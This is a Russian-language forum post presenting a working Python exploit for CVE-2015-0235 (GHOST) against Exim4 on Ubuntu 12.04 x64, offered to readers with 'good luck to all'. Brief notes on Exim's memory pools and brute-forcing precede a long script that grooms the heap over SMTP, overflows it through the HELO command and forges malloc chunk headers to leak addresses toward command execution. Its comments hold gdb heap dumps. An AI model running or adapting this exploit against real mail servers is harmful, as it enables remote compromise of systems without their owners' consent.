Старый 20.02.2015, 02:20   #1
slashd
 
Регистрация: 06.07.2010
Сообщений: 47
Репутация: 27
По умолчанию Exim4 + CVE-2015-0235 = command execution

Эксплойт под уязвимость CVE-2015-0235 для Exim4 ubuntu 12.04 x64.

Скорее всего для эксплуатации в реальных условиях нужен будет домен и почтовый
сервер для него (туда куда указывает MX-запись домена), т.к. надо засылать письмо
пускай и фейковое и на несуществующий адрес (я надесюь).

Необходимые команды для эксплуатации:
* RCPT
* MAIL
* DATA
* RSET
* HELO

По поводу эксплуатации уязвимости лучше всего смотреть комментарии в функции
PREPARE_HEAP_LEAK и под gdb.

Стоит сделать оговорку, что в Exim4 реализована своя простая куча.
Существует три пула памяти:
* MAIN
* PERM
* SEARCH

MAIN - после определенных команд сбрасывается, PERM - растёт и не
освобождается. SEARCH вообще хз зачем, он не используется при настройках по
умолчанию.

Описываются они структурой storeblock:
struct storeblock {
struct storeblock *next;
int length
}

Важные внутреннии переменные в Exim4 связанные с пулами:
* yield_length
длина отсавшегося места в пуле
* next_yield
граница занятого и свободного места, по другому это адрес памяти которая
будет выделена следующей
* current_block
текущии блоки MAIN/PERM/SEARCH из которых Exim4 выделяет память
* chainbase
тут лежат самые верхнии блоки памяти

В эксплойте реализованы простейшии примитивы команд для слежения за состоянием пулов.
Это очень важно, т.к. позволяет выравнивать память даже при разных длинах
почтовых адресов.

Когда вы только подключились пулы находятся в начальном состоянии. Например,
как только я подключаюсь у меня устанавливается следующее состояние пулов:
COUNT_PERM = 3
COUNT_MAIN = 1
yield_length[MAIN] = 0x1BF0
yield_length[PERM] = 0x0C00

После этого вы вводите команду 'MAIL FROM: hacker@bless.hell' и в пуле памяти
MAIN создается запись кому адресовано письмо И выделяется определенное
количество памяти.

То же самое происходит с командой RCPT - создается определенная структура и
кладется в MAIN, так же там выделяется место под массив структур recipients_list
размером 0x4B0. И маленька структурка кладется в PERM.

HELO кладет очень большую структуру в PERM и после этого делает store_reset_3,
которая в свою очередь возвращает MAIN в начальное состояние освобождая все
её выделенные блоки.

DATA вообще уникальная команда которая работает с пулом MAIN. Я до сих пор
не понял как именно она работает. Но у неё есть несколько "режимов" работы,
например:
* Она может побайтово писать в память (что используется в брутфорсе)
* Может лавинно сбросить вcю память (без этого cmd exec через FILE * не был
возможен в принципе из-за невозможности перетирать указатель, который
используется для вызова команд)
Скорее всего это зависит от количества памяти которое засылается или ещё чего
неведомого.

RSET просто сбрасывает переменные и пул MAIN.

Брутфорс надо как-то оптимизировать, т.к. каждая попытка отправляет 2 письма,
что очень сильно отражается на логах. Первая мысль что приходит в голову это
увеличить шаг.

Ещё очень важная оговорка - это ACL которые примеяются к параметрам разных
комманд. Когда вы указываете получателя письма (RCPT TO), то в структуре,
которая кладется в пул MAIN, добавляются ещё и его ACL. Т.е. без знания
точной настройки (админ мог добавить какую-то проверку) возможны проблемы при
эксплуатации . Но это решаемая задача. Наприме, суммарно все ACL создают
дополнительную нагрузку в X байт (возможно где-то размер будет зависить от домена
или имени получателя), значит мы можем подобрать это значение с помощью
контроллируемых крэшей программы. Так же и с начальными состояниями пулов.
Т.е. основная мысль всего этого - возможно написать брутфорсер, который будет
подбирать начальные значения и на основании этого потом эксплуатировать.

Ну и фатальная проблема, которая попалась мне при тестирвоании:
если в адресе do_system присутствует '\r' (0x0D), то Exim4 любезно поправит
вас и заменит его на '\r\n'.

Думаю, что это _не_ единственный вариант выполнять команды, на хипе хранится
кучуа всего, что можно использовать, в том числе и избежать дорогостоящего брутфорса
адреса хипа.

Всем удачи!

Код:
#!/usr/bin/python

import socket
import random
import string
import telnetlib
import commands
import sys
import signal
from struct import pack, unpack



global recipient_list_size, count_main, count_perm, yield_len_main, yield_len_perm
global hacker_domain, target_domain
global helo1, helo2, helo3, helo_overflow
global addr, bind, debug, STOREBLOCK_SIZE, STOREBLOCK_MIN_SIZE, STORE_MAIN, STORE_PERM, counter, rset_count, helo_count

global have_sender


addr = ('192.168.0.223', 25)
bind = ('192.168.0.62', 44431)

debug = False


STOREBLOCK_SIZE = 0x2000
STOREBLOCK_MIN_SIZE = 0x100

STORE_MAIN = 0x0
STORE_PERM = 0x1

counter = 0
rset_count = 0
helo_count = 0


#helo1 = '0' * (1900-1)
helo1 = '0' * (1800-16)
helo2 = '0' * (1800-16) + '0' * 16
#helo2 = '0' * (1900-1) + '0' * 16
helo_overflow = '0' * (2000-1) + '.19'
helo3 = '0' * (2000-4) + '0' * 16



recipient_list_size = 0
count_main = 1
count_perm = 3
yield_len_main = 0x1bf0
yield_len_perm = 0xc00

if len(sys.argv) < 3:
    hacker_domain = 'super-puper.ru'
    target_domain = 'evilcorp-ha.gov'
else:
    hacker_domain = sys.argv[1]
    target_domain = sys.argv[2]

have_sender = False



def timeout_handler(signum, frame):
    raise Exception


def size_alignment(size):
    ret = size
    if (ret % 8 != 0):
        ret += (8 - (ret % 8))

    return ret



def store_point():
    global count_main
    global count_perm
    global yield_len_main
    global yield_len_perm
    global recipient_list_size

    return (count_main, yield_len_main, count_perm, yield_len_perm, recipient_list_size)


point = store_point()

def store_reset(point=None):

    global count_main
    global count_perm

    global yield_len_main
    global yield_len_perm

    global recipient_list_size
    global have_sender

    have_sender = False

    if point is not None:
        (count_main, yield_len_main, count_perm, yield_len_perm, recipient_list_size) = point
    else:
        count_main = 1
        yield_len_main = 0x1BF0
        recipient_list_size = 0


def store_info():
    if debug:
        print "POOL_MAIN(%d) = 0x%04x, POOL_PERM(%d) = 0x%04x" % (count_main, yield_len_main, count_perm, yield_len_perm)



def store_get(size, pool='main'):

    global yield_len_main
    global yield_len_perm
    global count_main
    global count_perm

    if pool == 'main':
        if yield_len_main < size:
            yield_len_main = 0x2000
            count_main += 1
            
        yield_len_main -= size

    elif pool == 'perm':
        if yield_len_perm < size:
            yield_len_perm = 0x2000
            count_perm += 1

        yield_len_perm -= size



def rcpt_cmd(mailbox, tel):
    (local, domain) = mailbox.split('@')

    global recipient_list_size

    acl1        = 'ACL "acl_check_rcpt"'
    acl1_rule   = '^[./|] : ^.*[@%!`#&?] : ^.*/\.\./'

    acl2        = 'ACL "acl_local_deny_exceptions"'
    
    len_acl2_buf = 40
    len_pcre1   = 0x60
    len_pcre2   = 0x60
    len_pcre3   = 0x48

    len_local   = size_alignment(len(local)+1)
    len_domain  = size_alignment(len(domain)+1)
    len_mailbox = size_alignment(len(mailbox)+1)
    len_acl1    = size_alignment(len(acl1)+1)
    len_acl1_rule = size_alignment(len(acl1_rule)+1)
    len_acl2    = size_alignment(len(acl2)+1)


    if recipient_list_size == 0:

        store_get(0x10)
        store_get(0x4B0)


    store_get(0x18, 'perm')
    store_get(len_domain, 'perm')

    store_get(len_mailbox)
    store_get(len_domain)
    store_get(len_local)
    store_get(len_local)
    store_get(len_acl1)
    store_get(len_domain)
    store_get(len_domain)
    store_get(len_local)
    store_get(len_acl1_rule)
    store_get(len_pcre1)
    store_get(len_pcre2)
    store_get(len_pcre3)
    store_get(len_local)
    store_get(len_acl2)
    store_get(len_acl2_buf)

    recipient_list_size += 1

    tel.write('RCPT TO: ' + mailbox + '\n')
    tel.read_until('250 Accepted')

    store_info()



def mail_cmd(mailbox, tel):
    global have_sender
    (local, domain) = mailbox.split('@')

    acl1        = 'ACL "acl_check_mail"'

    len_acl1    = size_alignment(len(acl1)+1)
    len_mailbox = size_alignment(len(mailbox)+1)

    store_get(len_mailbox)
    store_get(len_acl1)

    tel.write('MAIL FROM: ' + mailbox + '\n')
    tel.read_until('250 OK')

    have_sender = True

    store_info()



def rset_cmd(tel):
    global rset_count

    tel.write('RSET\n')
    tel.read_until('250 Reset OK')

    rset_count += 1

    if debug:
        print 'RSET(' + str(rset_count) + ')'

    store_reset()

    store_info()



def data_cmd(data, tel):
    tel.write('DATA\n')
    tel.read_until('by itself')

    tel.write(data)
    tel.sock.recv(1024)

    store_reset()

    store_info()



def helo_cmd(helo, tel):
    
    (ip, port)  = bind
    global helo_count

    len_from    = size_alignment(len(ip)+len(str(port))+1+2+1) # [IP]\x00PORT
    len_helo1   = size_alignment(len(helo)+len(ip)+2+2+2) # (HELO) [IP]
    len_helo2   = size_alignment(len(helo)+len('helo=')+len(ip)+2+2+2) # [IP] (helo=...)

    # interface structure
    len_struct  = 0x40

    store_get(len_from,   'perm')
    store_get(len_helo1,  'perm')
    store_get(len_helo2,  'perm')

    if helo_count == 0:
        store_get(len_struct, 'perm')
        store_get(len_struct, 'perm')
        store_get(len_struct, 'perm')
        store_get(len_struct, 'perm')

    tel.write('HELO ' + helo + '\n')
    tel.read_until(']')

    helo_count += 1

    store_reset()

    store_info()



def len_rcpt(mailbox):
    (local, domain) = mailbox.split('@')

    acl1        = 'ACL "acl_check_rcpt"'
    acl1_rule   = '^[./|] : ^.*[@%!`#&?] : ^.*/\.\./'

    acl2        = 'ACL "acl_local_deny_exceptions"'
    
    len_acl2_buf = 40
    len_pcre1   = 0x60
    len_pcre2   = 0x60
    len_pcre3   = 0x48

    len_local   = size_alignment(len(local)+1)
    len_domain  = size_alignment(len(domain)+1)
    len_mailbox = size_alignment(len(mailbox)+1)
    len_acl1    = size_alignment(len(acl1)+1)
    len_acl1_rule = size_alignment(len(acl1_rule)+1)
    len_acl2    = size_alignment(len(acl2)+1)

    size_main   = 0
    size_perm   = 0

    if recipient_list_size == 0:
        size_main += 0x10
        size_main += 0x4b0

    size_perm   += 0x18
    size_perm   += len_domain

    size_main   += len_mailbox
    size_main   += len_domain*3
    size_main   += len_local*4
    size_main   += len_acl1
    size_main   += len_acl1_rule
    size_main   += len_pcre1
    size_main   += len_pcre2
    size_main   += len_pcre3
    size_main   += len_acl2
    size_main   += len_acl2_buf

    return (size_main, size_perm)



def len_mail(mailbox):
    (local, domain) = mailbox.split('@')

    acl1        = 'ACL "acl_check_mail"'

    len_acl1    = size_alignment(len(acl1)+1)
    len_mailbox = size_alignment(len(mailbox)+1)

    size_main   = 0

    size_main   += len_mailbox
    size_main   += len_acl1

    return size_main



def len_helo(helo):
    (ip, port)  = bind

    len_from    = size_alignment(len(ip)+len(str(port))+1+2+1) # [IP]\x00PORT
    len_helo1   = size_alignment(len(helo)+len(ip)+2+2+2) # (HELO) [IP]
    len_helo2   = size_alignment(len(helo)+len('helo=')+len(ip)+2+2+2) # [IP] (helo=...)
    len_struct  = 0x40

    size_perm   = 0

    size_perm   += len_from
    size_perm   += len_helo1
    size_perm   += len_helo2

    if helo_count == 0:
        size_perm   += len_struct*4

    eximbuff    = len(helo) + 1 + 8
    if eximbuff % 16 != 0:
        eximbuff += 16 - (eximbuff % 16)

    glibcbuff   = eximbuff + 32

    return (size_perm, eximbuff, glibcbuff)


def CREATE_SOCK(addr):
    global counter

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
#    sock.bind(bind)
    sock.connect(('192.168.0.223', 25))

    tel = telnetlib.Telnet()
    tel.sock = sock

    counter += 1

    return tel


def get_random_name(length):
    return 'BBB' # + ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(length-1))


def PREPARE_CMD_EXEC( DoYouHappy = ':D' ):
    global addr
    global have_sender
    global rset_count, helo_count
    tel = CREATE_SOCK(addr)

    global recipient_list_size, count_main, count_perm, yield_len_main, yield_len_perm, point
    store_reset(point)

    rset_count = 0
    helo_count = 0

    tel.read_until("+0400")

    mailfrom    = get_random_name(3) + '@' + hacker_domain
    rcptto      = get_random_name(3) + '@' + target_domain


    way_perm1   = 0xc00
    way_main1   = 0x1bf0 + 0x400

    way_perm2   = 0xc00 + 0x2000
    way_main2   = 0x1bf0 + 0x2000

    (step_main, step_perm) = len_rcpt(rcptto)
    first_step_main = step_main
    step_main   -= 0x4b0
    step_main   -= 0x10

    mail_step   = len_mail(mailfrom)

    counter_perm1 = way_perm1/step_perm - 1
    counter_main1 = (way_main1 - mail_step - first_step_main)/step_main


    mail_cmd(mailfrom, tel)


    store_get(0x18, 'perm')
    store_get(size_alignment(len(bind[0])+1), 'perm')

    rcpt_cmd(rcptto, tel)
    counter_perm1 -= 1

    while counter_perm1 != counter_main1:
        rcpt = get_random_name(3) + '@' + target_domain
        rcpt_cmd(rcpt, tel)
        counter_perm1 -= 1

    rset_cmd(tel)
    mail_cmd(mailfrom, tel)
    rcpt_cmd(rcptto, tel)


    while counter_perm1 != 0:
        rcpt = get_random_name(3) + '@' + target_domain
        rcpt_cmd(rcpt, tel)
        counter_perm1 -= 1


    rset_cmd(tel)



    helo_cmd(helo1, tel)


    size_perm_len = len_helo(helo1)[0]


    counter_perm2 = yield_len_perm / step_perm
    #counter_perm2 = (way_perm2 - way_perm1 - size_perm_len)/step_perm
    counter_main2 = (way_main1 - mail_step - first_step_main)/step_main + 1


    if not have_sender:
        mail_cmd(mailfrom, tel)
        rcpt_cmd(rcptto, tel)
        counter_perm2 -= 1

    while counter_perm2 != counter_main2:
        rcpt = get_random_name(3) + '@' + target_domain
        rcpt_cmd(rcpt, tel)
        counter_perm2 -= 1

    rset_cmd(tel)
    mail_cmd(mailfrom, tel)
    rcpt_cmd(rcptto, tel)

    while counter_perm2 != 0:
        rcpt = get_random_name(3) + '@' + target_domain
        rcpt_cmd(rcpt, tel)
        counter_perm2 -= 1


    counter_main3 = yield_len_main / step_main

    while counter_main3 != 0:
        rcpt = get_random_name(3) + '@' + target_domain
        rcpt_cmd(rcpt, tel)
        counter_main3 -= 1


    helo_cmd(helo2, tel)


    mail_cmd(mailfrom, tel)
    counter_main3 = ( yield_len_main + 0x1000 - 0x10 - 0x4b0 ) / step_main

    while counter_main3 != 0:
        rcpt = get_random_name(3) + '@' + target_domain
        rcpt_cmd(rcpt, tel)
        counter_main3 -= 1



    helo_cmd(helo_overflow, tel)

    mail_cmd(mailfrom, tel)

    rcpt = get_random_name(16) + '@' + target_domain

    (step_main, step_perm) = len_rcpt(rcpt)

    step_main -= 0x4b0 + 0x10

    counter_perm = yield_len_perm / step_perm
    counter_main = ( yield_len_main + 0x2000 - 0x10 - 0x4b0 ) / step_main + 1

    if (counter_main > counter_perm):
        print "bad, bad, bad..."
        sys.exit(0)

    while counter_main != 0:
        rcpt = get_random_name(16) + '@' + target_domain
        rcpt_cmd(rcpt, tel)
        counter_main -= 1

    helo_cmd(helo3, tel)
    
    mail_cmd(mailfrom, tel)
    
    (step_main, step_perm) = len_rcpt(rcptto)

    step_main -= 0x10 + 0x4b0

    cnt_perm = yield_len_perm / step_perm + 1
    cnt_main = ( yield_len_main - 0x10 - 0x4b0 ) / step_main + 1

    if cnt_main > cnt_perm:
        # It really bad, need do more logic
        print 'Bad idea, you cannot allocate MAIN over MAIN :\'('
        sys.exit(0)


    (test, exim, glibc) = len_helo(helo3)

    offset = 8224 - exim - glibc - 6 * 8
    cnt_main = ( yield_len_main + 0x2000 + offset - 0x10 - 0x4b0 ) / step_main - 1

    while cnt_main != 0:
        rcpt = get_random_name(3) + '@' + target_domain
        rcpt_cmd(rcpt, tel)
        cnt_main -= 1

    cnt_bytes = offset - ( 0x2000 - yield_len_main )

    data  = '\x00'* (cnt_bytes - 32)
    data += pack('<Q', 0x000000000000eab0)
    data += pack('<Q', 0x0000000000002020)
    data += pack('<Q', 0x0000000000000000)
    data += pack('<Q', 0x0000000000002000)
    data += '\n.\n'
    
    data_cmd(data, tel)

    rset_cmd(tel)




    ##################
    # HARD EXCORCSIM #
    ##################
    mail_cmd(mailfrom, tel)
    rcpt_cmd(rcpt, tel)

    cnt = 0
    if count_main == 1:
        cnt = (yield_len_main) / step_main


    while cnt != 0:
        rcpt = get_random_name(3) + '@' + target_domain
        rcpt_cmd(rcpt, tel)
        cnt -= 1

    if count_main == 2:
        print 'I think it will be crash...'
        null_way = - (0x2000 - yield_len_main) + 0x5e0 - 8 * 10
    elif count_main == 1:
        # WHY 8 * 8? - i dont know o_0
        # may be i dont sum malloc_chunk header and storeblock header?!
        # null_way = yield_len_main + 0x5e0 - 8 * 4 
        null_way = 0x5e0 - 8 * 4 

    tel.write('DATA\n')
    tel.read_until('by itself')

    print 'null way = %d, main rooms = %d, yield main = %d' % (null_way, count_main, yield_len_main)


    return (tel, null_way)
    # for z in range(0, null_way/2):
    #    tel.write('\x00')

    # for z in range(0, null_way/2):
    #    tel.write('\x01')
    


def PREPARE_HEAP_LEAK(what='lib'):
    global addr
    global have_sender
    global rset_count, helo_count
    tel = CREATE_SOCK(addr)

    global recipient_list_size, count_main, count_perm, yield_len_main, yield_len_perm, point
    store_reset(point)

    rset_count = 0
    helo_count = 0

    # print "Recipients => %d\nSTORE_MAIN => %d\nSTORE_PERM => %d\nYIELD_MAIN => 0x%04x\nYIELD_PERM => 0x%04x\n" % (recipient_list_size, count_main, count_perm, yield_len_main, yield_len_perm)
    tel.read_until("+0400")

    mailfrom    = get_random_name(3) + '@' + hacker_domain
    rcptto      = get_random_name(3) + '@' + target_domain

    # we need get struct of heap like this
    #
    # MAIN 8224 
    # PERM 8224
    # TOP
    #
    #
    # After store_reset() main rooms are freeing and we are seeing this
    # FREE 8224
    # PERM 8224
    # TOP

    way_perm1   = 0xc00
    way_main1   = 0x1bf0 + 0x400

    way_perm2   = 0xc00 + 0x2000
    way_main2   = 0x1bf0 + 0x2000

    (step_main, step_perm) = len_rcpt(rcptto)
    first_step_main = step_main
    step_main   -= 0x4b0
    step_main   -= 0x10

    mail_step   = len_mail(mailfrom)

    counter_perm1 = way_perm1/step_perm - 1
    counter_main1 = (way_main1 - mail_step - first_step_main)/step_main

#    print "Perm1 = " + str(counter_perm1)
#    print "Step  = " + str(step_perm)
#    print "Main1 = " + str(counter_main1)
#    print "Step  = " + str(step_main)

    mail_cmd(mailfrom, tel)


    # first 'rcpt to' cmd in session put to PERM pool struct with ip address
    store_get(0x18, 'perm')
    store_get(size_alignment(len(bind[0])+1), 'perm')

    rcpt_cmd(rcptto, tel)
    counter_perm1 -= 1

    while counter_perm1 != counter_main1:
        rcpt = get_random_name(3) + '@' + target_domain
        rcpt_cmd(rcpt, tel)
        counter_perm1 -= 1

    rset_cmd(tel)
    mail_cmd(mailfrom, tel)
    rcpt_cmd(rcptto, tel)


    while counter_perm1 != 0:
        rcpt = get_random_name(3) + '@' + target_domain
        rcpt_cmd(rcpt, tel)
        counter_perm1 -= 1


    rset_cmd(tel)


    # (test, exim, glibc) = len_helo(helo1)
    # print 'GLIBC = %d, EXIM4 = %d' % (glibc, exim)


    helo_cmd(helo1, tel)


    size_perm_len = len_helo(helo1)[0]

    # NOW HEAP:
    #
    # 8208 bytes
    # 1920 bytes helo exim4 ( helo cmd does free() )
    # 1952 bytes helo glibc ( helo cmd does realloc() )
    # 4352 bytes free 
    # 8224 bytes PERM
    # TOP
    #


    # TRY GET HEAP STRUCTURE:
    #
    # 8208 
    # 1920 helo
    # 1952 helo
    # 4352 FREE
    # 8224 PERM
    # 8224 FREE
    # 8224 PERM
    # TOP
    #

    counter_perm2 = yield_len_perm / step_perm
    #counter_perm2 = (way_perm2 - way_perm1 - size_perm_len)/step_perm
    counter_main2 = (way_main1 - mail_step - first_step_main)/step_main + 1

#    print "Perm2 = " + str(counter_perm2)
#    print "Step  = " + str(step_perm)
#    print "Main2 = " + str(counter_main2)
#    print "Step  = " + str(step_main)

    if not have_sender:
        mail_cmd(mailfrom, tel)
        rcpt_cmd(rcptto, tel)
        counter_perm2 -= 1

    while counter_perm2 != counter_main2:
        rcpt = get_random_name(3) + '@' + target_domain
        rcpt_cmd(rcpt, tel)
        counter_perm2 -= 1

    rset_cmd(tel)
    mail_cmd(mailfrom, tel)
    rcpt_cmd(rcptto, tel)

    while counter_perm2 != 0:
        rcpt = get_random_name(3) + '@' + target_domain
        rcpt_cmd(rcpt, tel)
        counter_perm2 -= 1


    counter_main3 = yield_len_main / step_main

    while counter_main3 != 0:
        rcpt = get_random_name(3) + '@' + target_domain
        rcpt_cmd(rcpt, tel)
        counter_main3 -= 1


    # (test, exim, glibc) = len_helo(helo2)
    # print 'GLIBC = %d, EXIM4 = %d' % (glibc, exim)


    helo_cmd(helo2, tel)

    # HEAP
    #
    # 0x00007fba7fdf3a60 -> 0x00007fba7fdf5a6f  inuse:    8208
    # 0x00007fba7fdf5a70 -> 0x00007fba7fdf698f  free:     3872
    # 0x00007fba7fdf6990 -> 0x00007fba7fdf711f  inuse:    1936
    # 0x00007fba7fdf7120 -> 0x00007fba7fdf78cf  inuse:    1968
    # 0x00007fba7fdf78d0 -> 0x00007fba7fdf7a8f  free:     448
    # 0x00007fba7fdf7a90 -> 0x00007fba7fdf9aaf  inuse:    8224
    # 0x00007fba7fdf9ab0 -> 0x00007fba7fdfbacf  free:     8224
    # 0x00007fba7fdfbad0 -> 0x00007fba7fdfdaef  inuse:    8224




    # raw_input("DO HEAP OVERFLOW")

    mail_cmd(mailfrom, tel)
    counter_main3 = ( yield_len_main + 0x1000 - 0x10 - 0x4b0 ) / step_main

    while counter_main3 != 0:
        rcpt = get_random_name(3) + '@' + target_domain
        rcpt_cmd(rcpt, tel)
        counter_main3 -= 1



    # (test, exim, glibc) = len_helo(helo_overflow)
    # print 'GLIBC = %d, EXIM4 = %d' % (glibc, exim)


    helo_cmd(helo_overflow, tel)

    # raw_input("SEE RESULT OF OVERFLOW")

    # HEAP
    #
    # 0x00007fba7fdf3a60 -> 0x00007fba7fdf5a6f  inuse:    8208
    # 0x00007fba7fdf5a70 -> 0x00007fba7fdf624f  inuse:    2016
    # 0x00007fba7fdf6250 -> 0x00007fba7fdf711f  free:     3792
    # 0x00007fba7fdf7120 -> 0x00007fba7fdf791f  inuse:    2048
    # 0x00007fba7fdf7920 -> 0x00007fba7fdfb24f  free:     14640
    # 
    # gdb-peda$ x/2xg 0x00007fba7fdf7120
    # 0x7fba7fdf7120: 0x0000000000000ed0  0x0000000000000800
    # 
    # gdb-peda$ x/2xg 0x00007fba7fdf7120 + 0x800
    # 0x7fba7fdf7920: 0x2e30303030303030  0x0000000000003931
    #
    # gdb-pead$  x/2xg 0x00007fba7fdf7120 + 0x800 + 0x3930
    # 0x7fba7fdfb250: 0x0000001000000000  0x0000000000000000
    #
    #
    # BINS (freed chunks)
    #
    # 0x00007fba7fdf7930 -> 0x00007fba7fdfb25f    14640
    # 0x00007fba7fdf9ac0 -> 0x00007fba7fdfbadf     8224




    # Try to get MAIN room after gethost..() buffer.
    # One of problem, very big problem is that
    # we rewrite struct somewhere after here:
    #
    # 0x00007fba7fdf97f0 -> 0x00007fba7fdfb0ff  free:   6416 
    #
    # After allocated MAIN room we can do this buffer is allocated
    # It will be very bad, becouse we will have summary ~11 kb free memory
    # To avoid this probmlem try incrase or decrase param in get_random_name()
    # 
    # Another method to avoid this problem that rewrite it with DATA

    # raw_input("GET MAIN BUFFER AFTER GLIBC HELO BUFF 1")

    mail_cmd(mailfrom, tel)

    rcpt = get_random_name(16) + '@' + target_domain

    (step_main, step_perm) = len_rcpt(rcpt)

    step_main -= 0x4b0 + 0x10

    counter_perm = yield_len_perm / step_perm
    counter_main = ( yield_len_main + 0x2000 - 0x10 - 0x4b0 ) / step_main + 1

    if (counter_main > counter_perm):
        print "bad, bad, bad..."
        sys.exit(0)

    while counter_main != 0:
        rcpt = get_random_name(16) + '@' + target_domain
        rcpt_cmd(rcpt, tel)
        counter_main -= 1

    # raw_input("GET MAIN BUFFER AFTER GLIBC HELO BUFF 2")

    # HEAP
    #
    # 0x00007fba7fdf3a60 -> 0x00007fba7fdf5a6f  inuse:  8208
    # 0x00007fba7fdf5a70 -> 0x00007fba7fdf624f  inuse:  2016 ( exim4 helo buffer )
    # 0x00007fba7fdf6250 -> 0x00007fba7fdf6fcf  free:   3456 
    # 0x00007fba7fdf6fd0 -> 0x00007fba7fdf77cf  inuse:  2048 ( glibc helo buffer )
    # 0x00007fba7fdf77d0 -> 0x00007fba7fdf97ef  inuse:  8224 ( MAIN room )
    # 0x00007fba7fdf97f0 -> 0x00007fba7fdfb0ff  free:   6416 
    # 0x00007fba7fdfb100 -> 0x2f1d8bf399edb157  inuse:  3394883133497016408 not used
    #
    #
    # See MAIN rooms
    #
    # gdb-peda$ p chainbase 
    # $74 = {0x7fba7fde8a30, 0x7fba7fde0b00, 0x0}
    #
    # gdb-peda$ xinfo 0x7fba7fde8a30
    # 0x7fba7fde8a30 --> 0x7fba7fdf9ac0 --> 0x7fba7fdf77e0 --> 0x0 
    #
    #
    # Now do HELO. Param must is bigger than last helo param.
    # It will do realloc() on the glibc buf and free() on the exim4 buf.
    # And after that we incrase our fake buffer
    # from 14680(0x3930) to 17k - 18k to backward.





    # raw_input("TRY INCRASE BUFFER FROM 14k TO 18k")
    helo_cmd(helo3, tel)
    
    # (test, exim, glibc) = len_helo(helo3)
    # print 'Exim = %d, Glibc = %d' % (exim, glibc)

    # NOW HEAP:
    #
    # 0x00007fba7fdf3a60 -> 0x00007fba7fdf5a6f  inuse: 8208
    # 0x00007fba7fdf5a70 -> 0x00007fba7fdf625f  inuse: 2032 ( exim4 helo )
    # 0x00007fba7fdf6260 -> 0x00007fba7fdf6a6f  inuse: 2064 ( glibc helo )
    # 0x00007fba7fdf6a70 -> 0x00007fba7fdfb0ff  free: 18064
    #
    #
    # BINS
    #
    # 0x00007fba7fdf9ac0 -> 0x00007fba7fdfbadf     8224 bytes
    # 0x00007fba7fdf6a80 -> 0x00007fba7fdfb10f    18064 bytes
    #
    # Yeah!
    #
    # Now allocate two MAIN buffers and one PERM.
    # MAIN buffer must rewrites another MAIN buffer. 
    # So PERM ___must_gets___ buffer at 0x00007fba7fdf6a80.
    # It will be second allocated room.
    # So one MAIN buffer must allocated before PERM at 0x00007fba7fdf9ac0 
    #
    # DATA can write raw data \x00..\xfe. And DATA saves it in MAIN room =)
    #

    # raw_input("CHECK")

    mail_cmd(mailfrom, tel)
    
    # Who is fastest get next room
    # It is very important. See above.

    (step_main, step_perm) = len_rcpt(rcptto)

    step_main -= 0x10 + 0x4b0

    cnt_perm = yield_len_perm / step_perm + 1
    cnt_main = ( yield_len_main - 0x10 - 0x4b0 ) / step_main + 1

    if cnt_main > cnt_perm:
        # It really bad, need do more logic
        print 'Bad idea, you cannot allocate MAIN over MAIN :\'('
        sys.exit(0)


    (test, exim, glibc) = len_helo(helo3)

    offset = 8224 - exim - glibc - 6 * 8
    cnt_main = ( yield_len_main + 0x2000 + offset - 0x10 - 0x4b0 ) / step_main - 1

    while cnt_main != 0:
        rcpt = get_random_name(3) + '@' + target_domain
        rcpt_cmd(rcpt, tel)
        cnt_main -= 1

    



    # Use MAIN rooms behavior to free place more than should be
    # see store_reset_3 function in exim4/src/store.c for details

    # raw_input("GO TO DATA")

    cnt_bytes = offset - ( 0x2000 - yield_len_main )

    # print 'Count bytes to malloc chunk header => %d' % cnt_bytes

    # raw_input('before backward jump')
    data  = '\x00'* (cnt_bytes - 32)
    if what == 'lib':
        data += pack('<Q', 0x000000000000eab0)
    elif what == 'heap':
        data += pack('<Q', 0x0000000000016ca0) #0x00000000000155c0)
    else:
        sys.exit(1)

    data += pack('<Q', 0x0000000000002020)
    data += pack('<Q', 0x0000000000000000)
    data += pack('<Q', 0x0000000000002000)
    data += '\n.\n'
    
    data_cmd(data, tel)

    # now we are here
    # 
    #
    # HEAP when what='heap'
    # NOTE: jump more backword, because need more memory for right exploit work
    # NOTE: old prev_size = 0x155c0, new prev_size = 0x16ca0
    # 0x00007fb02f6bd4f0 -> 0x00007fb02f6d4acf  free: 95712 bytes <-- near **lookup_list
    # 0x00007fb02f6d4ad0 -> 0x00007fb02f6d6aef  inuse: 8224 bytes
    # 0x00007fb02f6d6af0 -> 0x00007fb02f6d8b0f  inuse: 8224 bytes
    # 0x00007fb02f6d8b10 -> 0x00007fb02f6dab2f  inuse: 8224 bytes
    # 0x00007fb02f6dab30 -> 0x00007fb02f6dcb4f  inuse: 8224 bytes
    #
    #
    # HEAP when what='lib'
    #
    # 0x00007fb02f6bd4f0 -> 0x00007fb02f6bd52f  free:   64
    # 0x00007fb02f6bd530 -> 0x00007fb02f6bd55f  inuse:  48
    # 0x00007fb02f6bd560 -> 0x00007fb02f6bd5cf  inuse:  112
    # 0x00007fb02f6bd5d0 -> 0x00007fb02f6bf5ef  inuse:  8224
    # 0x00007fb02f6bf5f0 -> 0x00007fb02f6c160f  inuse:  8224
    # 0x00007fb02f6c1610 -> 0x00007fb02f6c1a1f  inuse:  1040
    # 0x00007fb02f6c1a20 -> 0x00007fb02f6c3a3f  inuse:  8224
    # 0x00007fb02f6c3a40 -> 0x00007fb02f6c3e4f  inuse:  1040
    # 0x00007fb02f6c3e50 -> 0x00007fb02f6c3e7f  inuse:  48
    # 0x00007fb02f6c3e80 -> 0x00007fb02f6c3eaf  inuse:  48
    # 0x00007fb02f6c3eb0 -> 0x00007fb02f6c3ecf  inuse:  32
    # 0x00007fb02f6c3ed0 -> 0x00007fb02f6c3eff  inuse:  48
    # 0x00007fb02f6c3f00 -> 0x00007fb02f6c3f1f  inuse:  32
    # 0x00007fb02f6c3f20 -> 0x00007fb02f6c3f4f  inuse:  48
    # 0x00007fb02f6c3f50 -> 0x00007fb02f6c3f6f  inuse:  32
    # 0x00007fb02f6c3f70 -> 0x00007fb02f6c3f9f  inuse:  48
    # 0x00007fb02f6c3fa0 -> 0x00007fb02f6c3fbf  inuse:  32
    # 0x00007fb02f6c3fc0 -> 0x00007fb02f6c3fdf  inuse:  32
    # 0x00007fb02f6c3fe0 -> 0x00007fb02f6c3fff  inuse:  32
    # 0x00007fb02f6c4000 -> 0x00007fb02f6d4acf  free:   68304  <-- near FILE *smtp_out
    # 0x00007fb02f6d4ad0 -> 0x00007fb02f6d6aef  inuse:  8224
    # 0x00007fb02f6d6af0 -> 0x00007fb02f6d8b0f  inuse:  8224
